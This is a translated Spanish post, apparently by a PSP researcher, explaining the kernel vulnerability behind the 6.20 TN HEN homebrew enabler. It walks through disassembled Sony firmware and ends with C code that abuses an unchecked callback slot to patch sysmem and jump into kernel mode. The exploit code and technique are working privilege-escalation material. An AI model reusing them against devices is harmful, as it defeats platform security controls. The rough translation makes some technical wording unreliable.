Davee, es un aficionado a la Ps3 y la PsP. Actualmente trabaja investigando sobre el firmware y hardware introducidos en la PsPGo con respecto a los modelos anteriores. En este artículo (traducido por diron123) nos muestra el código desensamblado y en pseudo-C envuelto en la vulnerabilidad que permitió desarrollar el HEN. Nos detalla un poco el mecanismo de seguridad introducido por Sony y como se puede 'vencer' esta protección que no permite 'correr' nuestros homebrew en el Firmware Oficial 6.20.
Ya que 6.20 TN-A esta por toda la internet, ahora vamos a describir la vulnerabilidad del kernel utilizado. Atras en 5.70/6.00 Sony presento una caracteristica en el Library cseUtility_private que permitio armar y desarmar una devolucion de llamada con privilegios del kernel.
sceUtility_private_764F5A3C //Set power callback
sceUtility_private_2DC8380C // release (unset) power callback
Estas dos funciones no se importan normalmente por lo que requieren algunas técnicas especiales como la estimación syscall para llegar a ellos a fin de utilizar su funcionalidad.
Ahora, como este kernel funciona? He aquí cómo:
Utility_private_764F5A3C: 0x000027F0: 0x27BDFFF0 '...'' - addiu $sp, $sp, -16 0x000027F4: 0xAFB00000 '....' - sw $s0, 0($sp)
0x000027F8: 0x03608021 '!.`.' - move $s0, $k1
0x000027FC: 0xAFBF0004 '....' - sw $ra, 4($sp)
0x00002800: 0x0C002229 ')"..' - jal scePower_driver_1A41E0ED
0x00002804: 0x001BDAC0 '....' - sll $k1, $k1, 11
0x00002808: 0x0200D821 '!...' - move $k1, $s0
0x0000280C: 0x8FBF0004 '....' - lw $ra, 4($sp)
0x00002810: 0x8FB00000 '....' - lw $s0, 0($sp)
0x00002814: 0x03E00008 '....' - jr $ra
0x00002818: 0x27BD0010 '...'' - addiu $sp, $sp, 16
Por lo tanto, es una función muy sencilla, uno puede invertir para producir el código pseudo-C:
int sceUtility_private_764F5A3C(args)
{
u32 k1 = BACKUP_K1();
SET_K1(k1 << 11);
int res = scePower_driver_1A41E0ED(args);
SET_K1(k1);
return res;
}
Como esta función viene de una syscall, interruptmgr establece el registro $ k1 a 0×100000.
Ahora mismo usted puede estar pensando "QUE RAYOS ES $ k1?" Y los $ k1, es un registro utilizado para ayudar a filtrar las direcciones no autorizadas del kernel modo de usuario. Por ejemplo, ChickHEN utiliza un kernel exploit que se aprovechó de la falta de uno de estos controles en este valor de $ k1. Por lo general, Sony cambia el registro $ k1 de 11 bits (en 6.xx) como para cambiar el valor a 0 × 80000000, que se contrastarán con una dirección para comprobar si es del kernel. Como las direcciones del kernel atributo son or'd con 0 × 80000000 entonces el resultado será 0×80000000, que por dos de elogio es también un número negativo, resultando a menudo en los controles para los negativos.
Volver a esta hazaña, la función toma el valor 0×100000 y lo desplaza a la izquierda 11 a resultar en 0×80000000, el valor principal para el control de una dirección del kernel. Después, llama a la scePowerRegisterCallback (nid kernel nativo es 0x1A41E0ED).
Así que, por naturaleza, damos un vistazo al power.prx y mirar a esta función y nos encontramos con los ensambladores siguientes:
scePowerRegisterCallback:
0x000007F0: 0x27BDFFD0 '...'' - addiu $sp, $sp, -48
0x000007F4: 0x2883FFFF '...(' - slti $v1, $a0, -1
0x000007F8: 0xAFB20018 '....' - sw $s2, 24($sp)
0x000007FC: 0x03609021 '!.`.' - move $s2, $k1
0x00000800: 0x001BDAC0 '....' - sll $k1, $k1, 11
0x00000804: 0xAFB10014 '....' - sw $s1, 20($sp)
0x00000808: 0x00A08821 '!...' - move $s1, $a1
0x0000080C: 0xAFB00010 '....' - sw $s0, 16($sp)
0x00000810: 0x00808021 '!...' - move $s0, $a0
0x00000814: 0xAFBF0020 ' ...' - sw $ra, 32($sp)
0x00000818: 0x1460005D '].`.' - bnez $v1, loc_00000990
0x0000081C: 0xAFB3001C '....' - sw $s3, 28($sp)
0x00000820: 0x07610003 '..a.' - bgez $k1, loc_00000830
0x00000824: 0x28840010 '...(' - slti $a0, $a0, 16
0x00000828: 0x10800053 'S...' - beqz $a0, loc_00000978
0x0000082C: 0x3C0B8000 '...<' - lui $t3, 0x8000
Te asusta?? Verdad?? xD vamos a tomar pedazo por pedazo. Permite la visita de nuestro amigo Google Al googlear el nombre de la funcion, podemos encontrar el prototipo "scePowerRegisterCallback int ( ranura int, SceUIDCBID)". Ahora los controles del kernel de $ a0 (ranura) <-1 y tiendas verdaera o falsa en el registro $ v1. Después de eso, vemos a nuestro k1 registros $ que se usa. En primer lugar se guarda una copia de seguridad, entonces los cambios en 11 .
Ahora, vamos a pensar en esto ... tenemos actualmente los $ k1 establecidos en 0×80000000, si se cambia de puesto 11, el resultado sería 0 × 40 mil millones, pero el registro $ k1 está a sólo 32 bits de ancho, por lo que los resultados de desbordamiento en $ k1 = 0, que permite a todos los controles en el kernel para tener éxito.
A continuación, pasa a comprobar el valor almacenado en $ v1 (la ranura <-1) es verdadera, si bien es cierto que devolverá un error. Entonces, va a una sucursal si $ k1> = 0. Normalmente, si una syscall llamó a esta función, $ k1 sería 0×80000000, que por dos de elogio es negativo y no va a pasar. Así que si $ k1 es> = 0, podemos suponer que es la comprobación de modo de kernel.
//Check if cbid is valid
0x00000878: 0x0C0016FC '....' - jal sceKernelCpuSuspendIntr
0x0000087C: 0x00000000 '....' - nop
0x00000880: 0x240DFFFF '...$' - li $t5, -1
0x00000884: 0x120D0020 ' ...' - beq $s0, $t5, loc_00000908
0x00000888: 0x00409821 '!.@.' - move $s3, $v0
; Data ref 0x00006D00 ... 0x00000000 0x00000000 0x00000000 0x00000000
0x0000088C: 0x3C030000 '...<' - lui $v1, 0x0
0x00000890: 0x00103900 '.9..' - sll $a3, $s0, 4
; Data ref 0x00006D00 ... 0x00000000 0x00000000 0x00000000 0x00000000
0x00000894: 0x24656D00 '.me$' - addiu $a1, $v1, 27904
0x00000898: 0x00E51821 '!...' - addu $v1, $a3, $a1
0x0000089C: 0x8C640000 '..d.' - lw $a0, 0($v1)
0x000008A0: 0x3C068000 '...<' - lui $a2, 0x8000
0x000008A4: 0x0480000C '....' - bltz $a0, loc_000008D8
0x000008A8: 0x34D00020 ' ..4' - ori $s0, $a2, 0x20
Ahora, se puede ver que los cambios de ranura de 4 bits a la izquierda y luego se añade a una dirección en power.prx. Ahora, el problema aquí es que no comprueba ranura <16 como lo hace si la función es llamada en modo de usuario. Así, se puede controlar una dirección que tiene acceso a power.prx. Aquí se carga la palabra de 32 bits y comprueba <0 (como <0 es una devolución de llamada no se utiliza). Así, suponiendo que la devolución de llamada no se utiliza, que puede progresar a loc_000008D8.
loc_000008D8: ; Refs: 0x000008A4
0x000008D8: 0xAC710000 '..q.' - sw $s1, 0($v1)
0x000008DC: 0x02202021 '! .' - move $a0, $s1
0x000008E0: 0x00008021 '!...' - move $s0, $zr
0x000008E4: 0xAC600004 '..`.' - sw $zr, 4($v1)
0x000008E8: 0x8CB10204 '....' - lw $s1, 516($a1)
0x000008EC: 0xAC60000C '..`.' - sw $zr, 12($v1)
0x000008F0: 0xAC710008 '..q.' - sw $s1, 8($v1)
0x000008F4: 0x8CA50204 '....' - lw $a1, 516($a1)
Sí, aquí se almacena una abundancia de información a la dirección que tiene el control DE. Almacena un valor de 16 bytes de datos, en particular, el segundo, en 4 bytes , de hecho 0×00000000 o una instrucción nop. Esto puede ser usado en una variedad de lugares para hacerse con el control del sistema.
Personalmente, allá por 2009 pensé que sería una buena idea usar sysmem. Recordé que en una gran cantidad de las exportaciones allí donde sólo los punteros de función. Sin embargo, me di cuenta de que, dado que se trata de una desviación a la izquierda por 4, la dirección tenía que ser de 16 alineados. Por lo tanto, busqué y encontré esto:
0x0000CCB0: 0xACC205B0 '....' - sw $v0, 1456($a2)
0x0000CCB4: 0x08003322 '"3..' - j loc_0000CC88
0x0000CCB8: 0x00001021 '!...' - move $v0, $zr
; ======================================================
; Subroutine sceKernelPowerLockForUser - Address 0x0000CCBC - Aliases: sceKernelPowerLock
; Exported in sceSuspendForKernel
; Exported in sceSuspendForUser
sceKernelPowerLockForUser:
0x0000CCBC: 0x3C050000 '...<' - lui $a1, 0x0
0x0000CCC0: 0x8CA305B4 '....' - lw $v1, 1460($a1)
0x0000CCC4: 0x27BDFFF0 '...'' - addiu $sp, $sp, -16
0x0000CCC8: 0xAFBF0000 '....' - sw $ra, 0($sp)
0x0000CCCC: 0x14600004 '..`.' - bnez $v1, loc_0000CCE0
0x0000CCD0: 0x00001021 '!...' - move $v0, $zr
0x0000CCD4: 0x8FBF0000 '....' - lw $ra, 0($sp)
loc_0000CCD8: ; Refs: 0x0000CCEC
0x0000CCD8: 0x03E00008 '....' - jr $ra
0x0000CCDC: 0x27BD0010 '...'' - addiu $sp, $sp, 16
loc_0000CCE0: ; Refs: 0x0000CCCC
0x0000CCE0: 0x8C620010 '..b.' - lw $v0, 16($v1)
0x0000CCE4: 0x0040F809 '..@.' - jalr $v0
0x0000CCE8: 0x00000000 '....' - nop
0x0000CCEC: 0x08003336 '63..' - j loc_0000CCD8
0x0000CCF0: 0x8FBF0000 '....' - lw $ra, 0($sp)
Ahora bien, esto es hermoso. La nop sobrescribir la lui de una dirección, y, a continuación, puede pasar el puntero propias que le permitirá saltar directamente en el código con los derechos del kernel!
Finalmente, se llegó a este código:
/* create a callback */
SceUID callback = pspKernelCreateCallback("Callback", Callback, NULL);
/* back track so the address is relative to sysmem */
u32 sysmem_addr = (~power_buffer_address + 1) >> 4;
/* unregister the callback to ensure that < 0 is stored */
pspUtilityPowerUnregisterCallback(sysmem_addr + 0xCCB);
/* now nop the top of PowerLock */
u32 res = pspUtilityPowerRegisterCallback(sysmem_addr + 0xCCB, callback);
/* delete callback */
pspKernelDeleteCallback(callback);
ClearCaches();
/* get the kernel entry in */
u32 local_var = ((u32)kernel_entry) | 0x80000000;
u32 local_var2 = ((u32)&local_var) - 16;
/* call this to get into kernel mode (note, 0x4234 is taken from the live version of sysmem */
int res = pspKernelPowerLock(NULL, ((u32)&local_var2) - 0x4234);
ClearCaches();
Puede haber algunos gaps, he usado otro exploit para mantener los datos dinámicos, pero que debe dar una idea general a todo. Buenas noches, Felicidades TN y Feliz Navidad y propero a^o nuevo
|